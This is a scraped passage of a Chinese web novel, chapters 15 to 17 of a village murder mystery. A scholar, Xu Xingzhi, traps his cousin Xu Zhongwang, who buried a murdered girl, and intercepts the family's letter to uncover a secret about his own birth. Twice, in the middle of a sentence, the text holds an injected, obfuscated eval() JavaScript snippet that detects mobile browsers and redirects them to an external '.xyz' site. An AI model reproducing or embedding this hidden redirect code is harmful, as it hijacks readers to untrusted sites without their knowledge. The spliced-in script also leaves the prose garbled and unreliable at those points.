再一次欣赏过徐众望怒不可遏、又几顿没吃饭虚弱狼狈的样子,徐行之只觉心情更好了,当年他中秀才,徐东来和王霞利用他得到了一个让徐众望来县学读书的机会。 他们想要,他就给! 那么,这几年的苦果,也该徐众望受着!徐众望这几年在县学的日子可是很不好熬啊! 徐行之道:“堂兄不领情便算了!只是李老根来徐家找堂兄,托我给你带些话罢了!” 15. 被她偷听 徐众望全身瞬间僵硬起来,“带什么话?” 徐行之注意着他的反应,“他说有些事情只有你们两个人知道,但王东和陈山两位衙差最近常来山下村,保不准他会说出来。堂兄,是何事啊?” 徐行之的语气越平静,徐众望却越是惧怕,就像踩空摔了下去的那一刻他却不知道这座山到底有多高。 明明是春夜,徐众望却在发抖,“什么事都没有!” 他极力否定徐行之的说辞,“我娘说过王东和陈山不来村里调查李老根了!” 徐行之笑了笑,“那是婶婶不知情,王东对我说过他还是要来山下村调查的,堂兄和李老根有什么古怪?” 两顿未进食,又被徐行之这一番话当头一棒喝,徐众望似是下一刻就能瘫坐到地上,“我能和他有什么古怪,他一个庄稼汉,谁知道他要干什么!你还有事没有了?” 徐行之薄唇轻启,“那你保重!” 他今日来县学的“要事”,便是徐众望,徐行之故意放出“王东还在调查李老根”的假消息,要不了几日,徐众望一定会从县学回去山下村,那么,他就可以抓到徐众望的马脚。 果不其然,在一个深夜徐众望鬼鬼祟祟回来了徐家,本来陆达开、王霞还想把徐众望回来一事瞒着徐行之,但早上用膳时闻到灶房里飘来的肉香,徐行之就知道是徐众望回来了。 王霞对徐众望的“过度疼爱”,是会害了他的。 徐众望在徐家藏了一天,趁着夜深时偷溜了出去。 徐众望前脚到了李老根家,徐行之跟着就到了。 托徐东来和王霞的福,这两人读封信也是偷偷摸摸背着他,这几年徐行之跟踪人的技术提升不少。 只见李老根为了避开家里人,摸黑拉着徐众望去了柴房。 一人高的柴房里,李老根还没开口,徐众望上来就怒斥道:“我不是说了没事别来徐家找我吗?你找徐行之干什么,还让他给我托话?” 李老根奇怪地道:“我没让行之给你托话啊!” 徐众望继续怒斥,“前几天徐行之来县学找我,说你给我托话了!我不是说过要瞒着别人吗?” “我是去徐家找过你,衙差来村子里了,我害怕啊,行知说你不在,但是我可没说其他的!”李老根解释道。 不远处的徐行之听到这番对话,眉目微扬,李老根托他带话的说辞,自然是徐行之编造的,不然怎么把徐众望引回山下村让他上钩? “你不是说那是地仙吗?为什么王东和陈山这两个衙差盯上了我?”这又是李老根的声音。 徐众望压低声音,“那就是地仙,你说出来没有?” 李老根声音发颤,“我哪敢说!” 徐众望恐吓道:“你把那女尸戴的金镯子都拿走了,你要是说出来,王东抓的就是你!” “我…我不说!”李老根的声音颤抖更厉害了,“众望,你真没骗我,真是地仙吗?” “是地仙,你嘴巴严实点!”徐众望再一次恐吓,随即离开了李老根家。 地仙? 再联想到前段时间李老根致力于在山下村传播外重丧的流言,徐行之明白了! 想来李老根发的那一笔财,其实指的徐众望在柴房里提到的“女尸戴的金镯子”,徐众望哄骗李老根说这是地仙,李老根信以为真,拿走了“地仙”戴的金镯子,但李老根心有担忧,于是趁着李大牛他老头子和李婆子喜丧、二丫遇害之际,在山下村散播犯了外重丧的流言,那么日后这具“地仙”的尸体被挖出来,也与李老根无关。 徐行之相信自己的猜测没有错,只是还要找到“地仙”埋葬之处。 又跟踪了徐众望几日,终是让徐行之发现了。 徐众望起初是随意溜达,但跟踪了几次,徐行之意识到徐众望的目的地其实是李老根家的那一块花生地。 那是块山田,附近只有那两亩地,四周都是杂草,人站在地里若是弯着腰也很难被发现。 所以,“地仙”埋葬在李老根家的花生地里,那么,这位“地仙”又和徐众望有什么关系? * 老宅中,阿杏在熏衣。 叶醒枝微微嗅了几下,“这郁金香倒是浓厚,比之长安的要好,阿杏,等我们回长安的时候,多带上几盒。” 阿杏应了好,“这郁金香我熏过衣,好几天都没散呢。” 两人正说着话,陆葵葵哒哒跑来,坐在叶醒枝对面。 “娘亲,葵葵想爹爹了!”那一套竹编的过家家小玩意儿被陆葵葵玩了两三天,陆葵葵没了兴趣,小手支着自己圆圆的脸蛋,对着叶醒枝鼓起嘴巴。 “爹爹在长安呢!”叶醒枝哄道。 陆葵葵听说过长安,但小小的她没有去过,不知道长安离山下村有多远,“娘亲,我们去找爹爹。” “行吧。”但叶醒枝和她约法三章,“要是找不到你爹爹,你可不能哭鼻子!” “小葵花”开心了,“葵葵不哭,葵葵一定会找到爹爹哒,就像葵葵也找到了娘亲!” 说是去给陆葵葵找爹爹,其实叶醒枝带着陆葵葵在山下村里闲逛,但逛了一会儿,陆葵葵不干了,又闹着要找爹爹。 虽然教导过陆葵葵在外面的时候称呼叶醒枝为姐姐,想陆时安的时候要叫哥哥,但陆葵葵毕竟只有三岁半,一天中有大半时候都会叫错,好在叶醒枝找了个借口糊弄了过去,阿杏和阿竹也都习惯了。 阿杏留在家里给陆葵葵洗衣裳和尿布,小厮阿竹出主意道:“小姐,带着葵葵去别处走走吧。” 给陆葵葵看点新鲜的才能不让她总是想着影子都见不着的陆时安,叶醒枝哄道:“葵葵,我们去找李婶子吧,她今个在地里种菜呢!” 陆葵葵摇摇脑袋瓜,“找爹爹。” “种菜可好玩儿了,我们去那里找找看有没有爹爹,行吗?”叶醒枝道。 陆葵葵听话点点头,李婶子家有两块菜地,其中一块在半山坡上位置叫偏僻,用来种花生和地瓜等物,小道不好走,阿竹抱着陆葵葵,走了约莫一盏茶时间,突然有男子的对话声的声音传入叶醒枝耳中。 叶醒枝下意识停住脚步。 “堂兄,你何时回来山下村的?怎么我在家中没有见到你?” “和你无关!徐行之,你来这里干什么?” 隔着一人高的草木,叶醒枝心想,原来是徐行之在和人说话,那徐行之口中的“堂兄”,指的应该是徐众望吧。 叶醒枝朝阿竹摆摆手,示意阿竹抱着陆葵葵先去找李婶子,她则留下来听一听热闹。 从叶醒枝喜欢看话本子、听鬼故事就能看出来,她是个爱看热闹性子,何况事关徐行之这个“歹竹”,不听白不听! 徐行之可是十岁就中秀才的读书人,偏偏前段时间推崇“犯了外重丧”这一流言,叶醒枝很是不理解。 一人高的草木后,正是李老根家的地。 午后的日光落在徐行之身上,“随便走走,万一春光就把我身上的霉运冲走了呢?托堂兄和徐叔徐婶的福,村里人都说我命不好,我若是整日窝在家里,岂不是要更倒霉?倒是堂兄鬼鬼祟祟来这里做什么?” “谁…谁鬼鬼祟祟了?”徐众望的脸色却是白的。 把徐行之的话在心里过了好几遍,徐众望疑心徐行之知道了什么,“我…我是上山找灵感的,乱逛一通罢了,徐行之,我先回去了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458007|169604||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 徐行之桃花眼微弯,“上山乱逛竟然还能给堂兄灵感,看来我日后也得多来这里走走。” 望着徐行之那漫不经心的神色,徐众望的恐惧却是越来越浓,他害怕这块山田下藏着的秘密被徐行之发现,“你…来干什么?你命不好,又去不了洛州参加秋闱,你还是老实待在家里吧。” 徐行之还是刚才的语气,“万一过几个月我转运了呢?” “哼,你死了这条心吧!”徐众望凶狠得不行,让徐行之十岁中秀才已是意外,徐行之绝不可能再有去洛州参加秋闱的机会。 提到这件事,徐众望心头的恐惧散退一二分,不可言说的傲气和得意冲了出来,“要不是我好心让你去镇上拜了一个童生老先生启蒙,你这辈子都是泥腿子的命,徐行之,你命不好,还是安心留在山下村吧!不然,说不准会再出什么意外!” “还有,我不想再在县学里看到你,少让你那些狗腿子同窗来指责我!你故意当着那些学子的面装好人,让我被他们骂、被他们无视,你就是故意的!” 徐行之笑了笑,“看来堂兄还是有偶尔不犯蠢的时候!” “蠢”这个字已经很侮辱人了,偏偏徐行之说的还是“偶尔不犯蠢”,徐众望气得跳脚,“你说我蠢?” “在县学这么多年,连个童生都不是,不是蠢是什么?幼时你好心让我去镇上跟着童生老先生启蒙,八年前,我不也好心让你去了县学吗?”徐行之轻笑一声,说到“好心”两个字时语气加重。 徐众望呆了呆,然后眼睛里似是能喷出火来,“你故意让我去县学的?” “这六年来我在县学生不如死,连县学门口的乞丐都不如,因为那些学子会用怜悯的目光看着那些讨饭的乞丐,而对我,他们只会是鄙夷嫌弃、指责无视!都是因为你!” 徐行之没回答,“堂兄,此处甚好,我改日再来。” 这对堂兄弟的争论,不过离叶醒枝几尺远,她自是听得清清楚楚,眼见当事人要走了,叶醒枝快步走到拐弯处,身影消失在郁郁的草木中。 原来这是一对面不和心也不和的堂兄弟啊,叶醒枝对徐众望并不了解,可那徐行之确实是个“歹竹”。 山下村村民都以为徐众望去了县学读书,是“有出息”的开端,无人不羡慕他,也无人不称赞徐行之,因为这个机会是徐行之给予的,若不是徐行之十岁就中秀才,徐众望一个庄稼户的儿子不可能有机会去到县学。 可是没人知道,想来连陆达开的爹娘徐东来和王霞都不知道,徐众望在县学的日子有多悲惨! 叶醒枝虽没经历过,但能想象出来,徐众望被县学那些学子们嫌弃鄙夷、指责和无视,犹如从青云云端狠狠跌落,被人踩得粉碎成了贱泥,那一道道鄙夷的目光、一声声的指责,犹如一根根针一样,直往徐众望身体上扎,而那所有人的无视,比刺针扎在徐众望的身上还要疼。 这是剜心的疼,是把他的自尊狠狠踩在了脚下! 此计甚毒,徐众望更是有口难言,说出来他亲爹亲娘都不会相信! 徐行之和徐众望这对堂兄弟的恩怨和叶醒枝无关,不过,叶醒枝心想,以后要离徐行之远点。 穿过草木而出,隐隐一股清香扑鼻,徐行之桃花目环视左右,方才有人来过。 郁金香味扑鼻,说明该女子停留此处且离开不久,应当把他和徐众望的对话都听到了,是村中之人,还是镇上或临近村子来山神庙祭拜的夫人、小姐? 无论偷听之人是何身份,都不太利于徐行之这些年来塑造的清正温润、敬重堂兄的形象,不过无妨,方才他也没有透露出什么,那个偷听的人若是要利用这一点,徐行之也有的是方法! 16. 身世(一) 望着徐行之离开的背影,愤怒与恐惧交织在徐众望心头。 他的控诉与难受,在徐行之看来不值一提!徐行之临走时留下的那句话,更是让徐众望身体发抖。 徐行之肯定发现了什么,不行,他得把这块山田下埋着的“地仙”换个地方。 又是一个深夜,李老根家柴房里,听到徐众望说要转移“地仙”,李老根不干了,“你不是说不能打扰地仙吗,为什么要换地方?” 徐众望急的不行,“要是被王东和陈山那两个衙差查到了,你还有活路吗?” “那又不是我杀的!”李老根倒是不如徐众望那样恐慌。 徐众望:……确实不是李老根杀的,可问题是杀人凶手是他啊! 徐众望攥着拳头教唆道:“你那块山田年年都要种花生和地瓜,会打扰到地仙修炼,一旦地仙受到打扰,不仅不会保佑你们一家子,还会让你们走霉运!” 走霉运那是不能走的,李老根松了口,“问题是要埋哪儿啊?” “往老李山深处找个无人去的地方埋了,明天夜里咱们就去埋。”徐众望那不大的眼睛耷拉着,一脸阴狠。 借着月光,李老根也看见了徐众望脸上的凶狠。 李老根咽口唾沫,徐众望不对劲啊! 约好第二天夜里去老李山深处埋地仙,当天早上,李平安连饭都没有吃,来到了徐家,不过他这一次不是来找徐众望的。 躲在不远处看到徐行之的身影,李老根忙摆手,“行之,来来来。” 徐行之眉目微扬,朝徐众望的厢房看去,只见房门紧闭,徐行之出了徐家大门。 被李老根拉着走到一隐蔽处才停下,徐行之出声:“根哥,找我何事?” 白日鬼似的,李老根偷偷摸摸,“行之啊,我问你一件事,这世上有没有地仙?” “是有书中记载过地仙,《南史》一书中有个人挖出了一个女子,女子是地仙,但那人财迷心窍,偷走了女子的镯子[注1]。”顿了片刻,徐行之又道:“不过,这地仙一说,其实也有其他说法。” 南史不南史的,李老根没看过,不过,那日在自家山田里挖出那具女地仙的时候,他听徐众望说过这个故事。 倒是对上了,李老根正要松口气,听到徐行之最后一句话,他又忙问道:“什么说辞?” “某日我和同窗们闲谈间提到这个故事,我们开玩笑说这倒是有可能是桩杀人案。女地仙非地仙,而是被人所害!”注意着李老根的反应,徐行之道。 像是被浇了一盆放了一整个冬天的冰水,李老根僵硬得仿佛连出气都不能出了,“不…不能吧?” “《南史》还说那人拿走地仙的镯子时,砍下其胳膊,地仙流了血[注2]。若是真有地仙,还能让自己的胳膊被一凡人砍掉?好歹沾个‘仙’字,也不为自己报仇吗?可见有可能是假说,当时有县学的同窗猜测,可能是那女子遇了害,被人埋在了地下。”徐行之道。 每听一个字,李老根的身体就僵硬一分,到最后李老根只知道他要完了! 原来,他从自家山田里挖出来的不是地仙,而是一个死人! 他把一具女尸当成宝,“地仙”一说完全是徐众望在忽悠他! 徐行之适时又补充了一句,“对了,《南史》中提到的那个人是个农夫。” 李老根僵硬的脑子转动一下,难怪他挖出那具女尸的那一天,徐众望就在附近,并且用地仙的幌子来忽悠他! 感情那具女尸是徐众望杀的! “那…那怎么办?”李老根只知道自己不能替徐众望背这个锅,“行之,书里的那个农夫他也冤枉啊,他哪知道什么地仙不地仙的!如果…如果有人下地的时候也挖出来一个地仙,这可该咋办啊?” 李老根口中的“有人”,自然指的是他自己,徐行之只当不知,“自然是去报官。” 李老根害怕地道:“一报官万一衙差把我……把那个人抓走了咋办?” “那人又未杀人,只要找到杀死那个地仙的凶手,干那人何事?”徐行之又故意问道:“你是在替村中哪个人打听?” 李老根急忙道:“没有没有!” “那我先回房看书了。”徐行之作势要走。 那可不行,行之十岁就中秀才,可是和县令打过交道的人,比徐众望厉害多了,李老根慌乱拦着他,“是我认识的一个朋友,行之,万一衙差不信咋办?” “那就直接去河清县县衙告发,如此一来,你的那位朋友还是个功臣。根哥,此事宜早不宜迟,万一杀人凶手把地仙转移走了,你拿什么指认?”徐行之一副为他担心的语气。 李老根瞪大眼睛,对,行之不愧是秀才公,什么都能说准! 听行之的准没错! 像白日遇见了鬼似的,李老根撒腿跑去了县衙。 回到书房,徐行之桃花眼里漾出笑意,在自家地里挖出尸体还能被徐众望这个蠢货用“地仙”的说法来忽悠,可见李老根是个比徐众望还要蠢的人,方才他如此为李老根打算,李老根必然是会相信的。 夜里,又一次偷偷摸摸来到李老根家柴房,徐众望这段时间可谓是提心吊胆,既担心那具“地仙”会被王东和陈山两个衙差发现,又担心在徐家会被徐行之发现异常,前两天他更是被徐行之气得不行。 徐众望盘算着把“地仙”从李老根家的山田里挖出来,再在老李山里头埋深些,这样就能高枕无忧了! 和李老根一人拿把铁锨,去了李老根家那块偏僻的山田,结果到了地头,李老根说自己肚子疼。 徐众望咒骂了一句,只得自己先开挖! 徐众望虽是乡下人,可他有个给侯夫人当奶娘的大姨,年年都往家里寄银子,从他生下来,他就没干过什么体力活,挖了几下,徐众望压低声音,“李老根?李老根?” 他没听到李老根的回答,山田地头却是突然亮起火把的光。 徐众望身子一僵,眼睁睁看着王东、陈山等几个衙差走近。 王东挎着刀,“抓起来!” 徐众望想不通这些河清县的衙差为什么会出现在这里,慌忙叫起来,“是李老根,不是我,是李老根杀了人!” “守株待兔”到这个点,王东、陈山这些衙差也都困了,利落把徐众望抓了起来,让他和女尸待在一辆马车里,直接带回县衙大牢,一同带走的还有李老根。 那些狡辩的话,他们这会儿可是没心思听,当然,等他们睡饱之后,明天徐众望在大牢里要是敢说这些狡辩之词,王东、陈山这些衙差们也有的是法子。 河清县衙役悄无声息来到山下村,深夜潜伏,擒拿杀人犯徐众望,到了第二天,这个消息才被李婶子这些村民知道。 “徐众望杀人了,把人埋在了李老根家的山田里。” “我说怎么睡到半夜,哪家的狗叫个不停!” “嗐,我们山下村是咋了,怎么又出了一个杀人犯?” “徐众望把谁杀了?” …… 李婶子把打听来的消息告诉叶醒枝,“乖乖,死的是远处村子一个叫小月的闺女,可是他们村里的一朵花,今年十四了,过年到正月那段时间,徐众望偷偷摸摸把小月肚子弄大了,徐众望他娘王霞看不上小月,去铺子弄了落胎药让小月喝。小月当然不喝,来徐家讨说法,担心他儿子的亲事和前途受影响,王霞不小心把小月给杀了!” “徐行之说自己孝敬,这是他自个在大牢里说的,说替他老娘王霞把小月装进缸里,摸黑埋到了李老根家的山田里,因为李老根家的那块地位置偏僻,结果没两天就被刨地的李老根挖出来了!” “徐众望不想让他亲娘去坐牢,就忽悠李老根说这是地仙,把地仙移走李老根会倒霉,不过要是让地仙好好待在他家的山田里,地仙会保佑他。为了堵嘴,徐众望还偷偷往缸里塞了包银子,那李老根也是个蠢的,拿了银子又把小月连带着缸埋到了地里。李老根真以为这是个地仙,以为那包银子是地仙的,才拿走了。一直到王东来村里打听他,李老根才感觉不对劲。怪不得前段时间他发了财,给自己媳妇买了银钗。” “徐众望可真是个畜生,杀了小月不说,还写了一封假的信,说是小月跟一个卖货郎跑了,给爹娘留了一笔银子,小月她爹娘以为是真的,也没脸去找小月。要不是被李老根刨地的时候挖出来了,过个一两年谁知道小月死了呢?” “不过徐众望不承认是他写的信,非说小月可能在外头真有相好的,或者是小月家和别人有仇,别人故意整小月的。他就差说这信是他娘王霞写的了!” 叶醒枝听这个热闹前,就让阿竹带着陆葵葵出去玩了,难怪前段时间李老根执着于在山下村传播散了外重丧的流言,原来是心虚啊! 叶醒枝问道:“李老根以为这是地仙,还拿了银子,怎么又突然告发徐众望了?” “可能是发现不对劲了吧。”李婶子猜道。 叶醒枝又道:“如果是徐众望他娘杀的人,又为何是徐众望埋的尸?如果是小月家的仇人,还给小月爹娘写信留银子?这也太不合理了!” “徐众望在大牢里这么说的。”李婶子明显也不相信。 王霞仗着自己有个在长安给侯夫人当奶娘的亲姐姐,从不拿正眼看李婶子她们,但好歹在山下村住了二十来年,除了不知道徐家存了多少钱,李婶子她们对于王霞还是挺了解的。 王霞怕事,她要是杀了人,应该会躲在徐家不敢出门! 叶醒枝面露厌恶,这个徐众望可不仅仅是“歹竹”,用“畜牲”形容都不为过。 王霞不过一村中妇人,若是杀了小月,几个月来哪里会没有异样?再者,遇害的小月生前也干地里活,不是像叶醒枝这样的官家小姐,并不是王霞一个人就能制服的。还有一点,若杀人的是王霞,为何当日埋尸和现在转移尸体的是徐众望? 很明显,徐众望为了前途,把自己的亲生母亲王霞推出来顶罪。 和叶醒枝一样,徐行之把这些异常告诉了衙差。 不过他是以一个“好侄儿”的语气来做这些事情的,为徐众望被抓入狱一事感到震惊、悲痛,又绝不相信抚养他长大的婶子王霞会杀人,希望河清县赵县令和王东、陈山这些衙役严查此案,好还他的“好婶婶”王霞一个公道! “行之真是个好孩子啊,徐东来和王霞那么对他,他都不记仇!” “是啊,听说行之昨天还去求见了赵县令,让赵县令还王霞一个公道!” “徐东来和王霞把自己儿子当块宝有什么用?要是我,我一定把行之当亲儿子疼,行之可比徐众望有出息多了!” “王霞眼瞎啊!要不是有行之这个侄子,临老了还得被自己的儿子给坑死!” “我要是王霞,绝对不会那么偏心!” 李婶子也发出了类似的感慨,叶醒枝听到后没有说话,心中有几分疑惑,从她那日偷听到的徐行之和徐众望的争论就能看出来,徐行之是个有城府的人,把堂兄徐众望算计得那么惨,那对于苛待他多年的王霞,应该也没有太深的感情。可徐行之如今又十分上心,是一点儿都不记仇吗? 若徐行之是个看重亲情的心善之人,那便不会杀人不见血地打击、坑害徐众望,徐行之此举是为了自己的名声吗? * 李婶子没说错,王霞确实胆子小,她愿意为了自己的儿子徐众望而死,但让她去大牢里给自己儿子顶杀人的罪名,她害怕啊! 尤其徐行之从县衙探望徐众望回来后,王霞更害怕了,她的好侄儿说县衙大牢里那些到处乱窜的老鼠蚂蚱是最不值得一提的,被欺负的囚犯白天得挨着恭桶吃饭、夜里得挨着恭桶睡觉,这还不算什么,最恶心人的是,似王霞这般养尊处优的村妇进了牢房,极有可能被某些女囚犯欺负。 提到“欺负”二字,徐行之还贴心解释,“是像徐老七那样。” 王霞两眼一黑,女囚犯竟然还能像徐老七那样对其他女囚犯下手? 那她更不能去给自个儿子顶罪了啊! 她宁愿像李婆婆那样自缢,也不愿意进县衙牢房被其他女囚犯亲嘴摸身子! 得知徐众望半夜挖坑转移“地仙”被衙差抓走关进大牢的消息后,王霞连去河清县探监的力气都没有了,再得知她的好儿子徐众望把杀人的罪名全推到她身上,王霞更是难受得晕了过去,自己的老伴徐东来是个庄稼户也靠不上,王霞如今倒是换了嘴脸,“行之啊,关键时刻还是得靠你,婶子其实是把你当儿子疼的,不然你小的时候也不会送你去镇上开蒙,你别和婶子计较!你去见了赵县令,赵县令是怎么说的?咱们该怎么办?” 徐行之桃花眸里浮出讥诮,王霞口中的“幼时送他去镇上开蒙”,其实是他自己谋划而来的。 王霞越是要讨好他,徐行之心情越是不错,“赵县令秉公办案,岂会看我一个小小秀才的情面?除非堂兄没有杀人,或是有贵人可保堂兄一命。” 王霞说不上来话了,徐众望要是没杀人又怎么会被关到牢房里? 虽然徐众望把小月掐死的事情她不知道,但她知道自个儿子把邻村一个闺女肚子弄大了,落胎药还是她去镇上买的,过了一两个月王霞又听说小月跟来村里卖货的一个卖货郎跑了,她就感觉到了不对劲。 从此王霞再也没有听到有关小月的消息,她向徐众望打听过这件事,也发现自家的一个大缸不见了,徐众望当时一脸凶狠,发火说出来的话和王霞听到的消息一样,还不许王霞多问。 王霞的心就像挑水的担子,起伏个不停,她觉得落胎没多久的小月不可能和一个卖货郎私奔,但王霞不敢再问了! 那就只能找贵人救徐众望一命了! 可王霞认识的贵人只有一个,那就是她那在长安给侯夫人当奶娘的姐姐,王云。 徐行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461910|169604||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之薄唇轻启,“若是云姨能说动陆侯爷或是陆侯夫人,堂兄定然能从县衙大牢走出来。” 听到徐行之提到“云姨”这两个字,王霞下意识去看他,那件事他们一家人都瞒着徐行之,徐行知也很少提起王云,王霞心里咯噔了一下,但听出来徐行之这番话是在为徐众望考虑,王霞放心了。 对,徐行之不可能知道那件事的! “你云姨她……”王霞发愁地说不出来话了。 她这个姐姐是在长安给侯夫人当奶娘不假,也年年给她寄银子,但王霞很确定自己的姐姐是不会帮忙的。 王云年年寄回来的那些银子,其实三分是关心,三分是打发,剩下的四分是为了堵嘴! 王霞和徐东来早就不想在这山下村里当村夫村妇了,她也想像姐姐王云一样去到侯府当高门贵仆,但王云写信来不同意,说什么高门贵仆其实就是个仆人,有时候还没他们在山下村当一个庄稼汉活的心安和肆意,还说当了高门贵仆,徐众望就不能科举考取功名了。 王霞自然盼着自己的儿子能够考取功名,但不能当高门贵仆,也有别的法子啊,王云完全可以把他们一家子接到长安做个小生意,或者买几亩地让他们去长安种地去。至于考取功名,如果徐众望在侯夫人面前露了脸,这不就是陆侯爷或者陆侯夫人一句话的事吗? 可她的这个姐姐在信里又是不同意,说是需要王霞待在山下村看管好徐行之,等她老了后,也会回山下村养老,即便把王霞、徐东来和徐众望接到长安,他们也待不长久。王云还说陆侯爷刚正严厉,常年不在长安,是不可能提拔徐众望的,而陆侯夫人不缺人用,也不希望府里下人们心思太多,把侯府当菜市场一样随随便便带人来投奔。 理由一大堆,总之,王霞能看出来,王云不希望他们一家子去到长安,不愿意帮衬他们。 连把他们接到长安这么简单的事都不愿意,又怎么会去求陆侯爷或者陆侯夫人救徐众望的命呢? 徐行之露出疑惑,“云姨怎么了?” “没事。”王霞自然不会把这些事情说出来,“我和你徐叔明天去县衙看看众望,行之啊,那牢房里的女囚犯真就那么坏吗?个个都像徐老七一样?” 徐行之反问道:“不然她们怎会被关进去?” 王霞其实还是愿意为了自个儿子顶罪的,徐行之不着痕迹又泼了盆冷水,“婶子你抚养我多年,行之自然心疼你,牢房可不是你这样的妇人能进去的,那时候连碗稀粥都抢不到!若要救堂兄,不是还有徐叔吗?徐叔到底是男子,能比你在牢房里多熬几天,等到云姨向陆侯爷或者陆侯夫人求了情,便可以把徐叔救出来。” “平日你那样心疼堂兄,有徐叔在,堂兄怎么也不该让你来……” 换成平时,王霞定然要指责徐行之不懂得感恩,可此时此刻,这番话说到了王霞的心窝里,是啊,徐东来还活着呢,徐众望怎么不让自己的亲爹替他坐牢呢? 徐众望能有银子去读书,还不是靠了她? 等王霞和徐东来去到县衙,不过在县衙牢房待了几日,徐众望一个读书人,竟比李婆婆那个傻儿子李平安还要狼狈。 徐众望心里苦啊,他待的这间牢房里,那几个犯人故意整他这个读书人,可他又打不过,只能夜夜挨着恭桶睡觉,白天在恭桶边上喝稀汤,他被熏吐了好几回,徐众望身上还有被王东、陈山这些衙差打出来的伤,都要流脓了,他一定得赶快从牢房里出去才行。 “娘,你听我说,儿子要是被关进着县衙大牢里出不去,咱们整个徐家都完了。儿子一定得出去,等儿子明年考上童生,再考个秀才,那就可以让赵县令把你放出来了。” 老母见到了牢房里的儿子,王霞本是心疼不已,可听了这些话,那掉下来的泪水和鼻涕突然就断了。 她的侄儿徐行之就是个秀才,还是个十岁时就中秀才的少年天才,与河清县的这几任县令都有交情,这样都不能把徐众望救出来,何况徐众望现在连个童生都不是呢? 就算徐众望明年真能考上童生和秀才,也救不了替儿子顶罪的她啊! 王霞难受地道:“众望啊,你就是考上了秀才,也没用啊,赵县令又不会听你的话!” 徐众望急了,“娘,你不想救儿子是不是?” “不是不是。”王霞急忙道:“但我要是替你进了这县衙大牢,娘可就活不成了啊!还是让你爹……” 同样在心疼儿子的徐东来也心疼不下去了,你都知道活不成了还让我来替儿子顶罪? 徐东来:“我要是进去了,你和众望可咋办?” “该咋办就咋办呗,反正平时花的银子也是我姐姐寄来的。”王霞怼了回去。 徐东来突然提高声量,“你是嫌弃我?” “我哪点说错了?”王霞站直了腰,“行之说的对,你比我能熬,要进牢房也该是你进去!” 徐东来气得不行,“你这个贱妇,我打死你!” 徐众望气的手指头直发颤,这是来探监还是来吵架呢? 他都快死了,不过是让他们两个顶个罪而已,徐东来和王霞嫌弃的人其实是他吧? 什么亲爹亲娘,说白了还是更爱他们自个。 呦,儿子是个杀人犯,老子是个吃软饭的老黑脸,守在门口的衙差看了一场热闹,才呵斥让他们三个人安静。 看到徐众望脸上的厌恶和怒意,王霞心里也不太舒服,只好安慰道:“也不是非要顶罪,行之说还有你云姨呢!” “对,云姨!”徐众望肿成了一条缝的眼突然有了光,“娘,你快给云姨写信,让她救救我这个外甥。” 王霞又道:“那得能说动陆侯夫人才行,还有你云姨也不一定愿意。” “儿子是死是活就看云姨了,娘,一定得让云姨救我,不行的话,你就用那件事……” 徐众望没说出来的三个字是“威胁她”,王霞和徐东来也明白徐众望的意思,掏银子求衙役弄来了笔墨,让徐众望写了一封信。 因要瞒着徐行之,王云从长安寄来的信,还有他们一家三口给王云写的信,都由徐众望包揽。 从县衙牢房出来,王霞和徐东来就立即去寄信,没走几步被一个乞儿撞了满怀。 王霞刚要骂,乞儿利落跑远了,顾不得耽误时间,王霞和徐东来花了大笔银子,从怀里掏出信,加急送往长安。 为了能随时接收到徐行之的信息,托何人寄信送往长安、需多少银子,王云都打点好了,王霞、徐东来和徐众望平时只要写了信寄去就行,但这次太过紧急,还是得加钱! 等信的每一日都如一年,王霞、徐东来在山下村盼着王云能说动侯夫人救徐众望一命,牢房里的徐众望生不如死,也盼着自己能脱罪,不过,他们怎么都想不到,从王霞怀中掏出的那封信,压根没有寄往长安,而是在徐行之的手里。 眉眼微垂,徐行之拆开了那封信。 17. 身世(二) 在县学多年,街上的这些乞儿分属哪家,徐行之自然摸清了,不过是悄悄从王霞怀里摸出一封信再进行替换,只要给银子,对于那个乞儿来说不是难事。 拆开信之前,徐行之久违的有些紧张,他攥紧左掌,把这封要寄往长安的信拆开。 信纸上的字字句句映入徐行之眼帘,徐东来、王霞和徐众望一家三口隐藏十八年的秘密,此刻尽数暴露! 左掌越攥越紧,若这几张信纸是铜镜,定然能照映出徐行之面上的狠厉与难过。 自幼时去了镇上童生老先生那里启蒙,徐行之就感觉到了徐家这一家三口的异常,对自己的身世有所怀疑,可是,原来他并不是命不好,徐东来、王霞和徐众望费尽心思保守的那个秘密,比他能想象到的还要令人作呕! 这封信虽然出自徐众望之手,在信中提到这个秘密也是为了威胁那位在长安给侯夫人当奶娘的“云姨”,但显然信纸上的每一个字都是真的。 县学学舍的窗棂紧闭,屋中只徐行之一人,暗淡的光线中,不知过了多久,他的眉眼渐渐恢复平日里的清润,把这封本要寄往长安的信好好收了起来。 在被关进县衙大牢后,徐众望还死不承认是他给小月爹娘写了那封信,因为他故意改了字迹,一个卖货郎怎么可能写出一手好字呢?但徐行之拿到的这封信,每一个都是出自徐众望之手,等秘密被揭露的那一天,不会给徐众望一丝狡辩的可能! 由不得徐众望不承认! 徐东来和王霞花重金加急寄往长安的那封信,便是等上三年五年,也等不来他们想要的答案,徐行之猜到了徐家这一家三口为了活命,会给“云姨”写信,所以提前模仿徐众望的字迹写了一封,然后由那日撞到王霞的乞儿进行了替换。 